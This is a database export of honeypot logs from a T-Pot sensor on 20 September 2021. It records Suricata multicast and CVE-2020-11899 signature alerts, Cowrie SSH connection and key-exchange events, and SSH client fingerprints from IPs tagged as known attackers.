45277	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:43:46.989136+03	2021-09-20 16:45:02.74059+03	{"_id": "kgZyA3wBvYTbRNuEyqyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:43:46.989136Z", "@timestamp": "2021-09-20T13:43:46.989Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34143	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:59:01.812917+03	2021-09-20 15:00:06.751736+03	{"_id": "xwYSA3wBvYTbRNuE5VP4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:01.812917+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755848931189, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:59:01.812917Z", "@timestamp": "2021-09-20T11:59:01.812Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34144	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:59:01.98088+03	2021-09-20 15:00:06.752736+03	{"_id": "yAYSA3wBvYTbRNuE5VP4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:59:01.980880Z", "@timestamp": "2021-09-20T11:59:01.980Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34145	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:59:01.82258+03	2021-09-20 15:00:06.754735+03	{"_id": "yQYSA3wBvYTbRNuE5VP8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:01.822580+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 174}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:00fb", "flow_id": 1561048671161652, "payload": "AAAAAAADAAAAAAABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMgAEIX2hvbWVraXTAHAAMgAEMX3NsZWVwLXByb3h5BF91ZHDAIQAMgAEAACkFoAAAEZQAEgAEAA4AlbrBESEZL9YkmkXM6Q==", "@version": "1", "in_iface": "enp5s0", "src_port": 5353, "app_proto": "failed", "dest_port": 5353, "timestamp": "2021-09-20T11:59:01.822580Z", "@timestamp": "2021-09-20T11:59:01.822Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............._companion-link._tcp.local......_homekit......._sleep-proxy._udp.!......).................!./.$.E.."}}	1	\N	\N	alert	\N	\N
34146	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:59:01.986412+03	2021-09-20 15:00:06.755736+03	{"_id": "ygYSA3wBvYTbRNuE5VP8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:59:01.986412Z", "@timestamp": "2021-09-20T11:59:01.986Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34147	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:59:04.11755+03	2021-09-20 15:00:06.757735+03	{"_id": "zAYSA3wBvYTbRNuE7VPJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:59:04.117550Z", "@timestamp": "2021-09-20T11:59:04.117Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34148	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:59:01.812917+03	2021-09-20 15:00:06.758735+03	{"_id": "xQYSA3wBvYTbRNuE5VP4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:01.812917+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755848931189, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:59:01.812917Z", "@timestamp": "2021-09-20T11:59:01.812Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34150	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:59:03.724511+03	2021-09-20 15:00:06.760735+03	{"_id": "zQYSA3wBvYTbRNuE7VPJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:01.812917+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755848931189, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:59:03.724511Z", "@timestamp": "2021-09-20T11:59:03.724Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34151	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:59:01.97481+03	2021-09-20 15:00:06.761735+03	{"_id": "xAYSA3wBvYTbRNuE5VP4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.2", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:59:01.974810Z", "@timestamp": "2021-09-20T11:59:01.974Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34152	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:59:17.678105+03	2021-09-20 15:00:06.763049+03	{"_id": "9wYTA3wBvYTbRNuEI1NX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2135 (192.168.176.2:22) [session: 8624a60631fa]", "session": "8624a60631fa", "@version": "1", "protocol": "ssh", "src_port": 2135, "dest_port": 22, "timestamp": "2021-09-20T11:59:17.678105Z", "@timestamp": "2021-09-20T11:59:17.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34153	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:59:17.681163+03	2021-09-20 15:00:06.764041+03	{"_id": "-AYTA3wBvYTbRNuEI1Na", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8624a60631fa", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:59:17.681163Z", "@timestamp": "2021-09-20T11:59:17.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34154	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:59:18.543831+03	2021-09-20 15:00:06.765041+03	{"_id": "_AYTA3wBvYTbRNuEJFOA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "dest_ip": "192.168.20.116", "flow_id": 512374424798703, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36264, "dest_port": 22, "timestamp": "2021-09-20T11:59:18.543831Z", "@timestamp": "2021-09-20T11:59:18.543Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34155	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:59:17.953737+03	2021-09-20 15:00:06.767042+03	{"_id": "-QYTA3wBvYTbRNuEJFOA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:59:17.405962+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1856477997642186, "payload": "AAADzAYUrq7BcBQ5p5A+9eKtDvcVJgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2135, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:59:17.953737Z", "@timestamp": "2021-09-20T11:59:17.953Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........p.9..>......&...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
34156	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:59:17.953737+03	2021-09-20 15:00:06.768042+03	{"_id": "_QYTA3wBvYTbRNuEJVOJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2135, "dest_port": 22, "timestamp": "2021-09-20T11:59:17.953737", "@timestamp": "2021-09-20T11:59:17.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34157	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:59:18.544092+03	2021-09-20 15:00:06.769041+03	{"_id": "_gYTA3wBvYTbRNuEJ1NA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d441b5e1fcab", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:59:18.544092Z", "@timestamp": "2021-09-20T11:59:18.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34158	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:59:19.259612+03	2021-09-20 15:00:06.770042+03	{"_id": "BQYTA3wBvYTbRNuEK1Qp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d441b5e1fcab", "@version": "1", "timestamp": "2021-09-20T11:59:19.259612Z", "@timestamp": "2021-09-20T11:59:19.259Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34159	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:59:20.11786+03	2021-09-20 15:00:06.772042+03	{"_id": "CgYTA3wBvYTbRNuELFRR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "flow_id": 480301756702530, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36198, "dest_port": 22, "timestamp": "2021-09-20T11:59:20.117860Z", "@timestamp": "2021-09-20T11:59:20.117Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
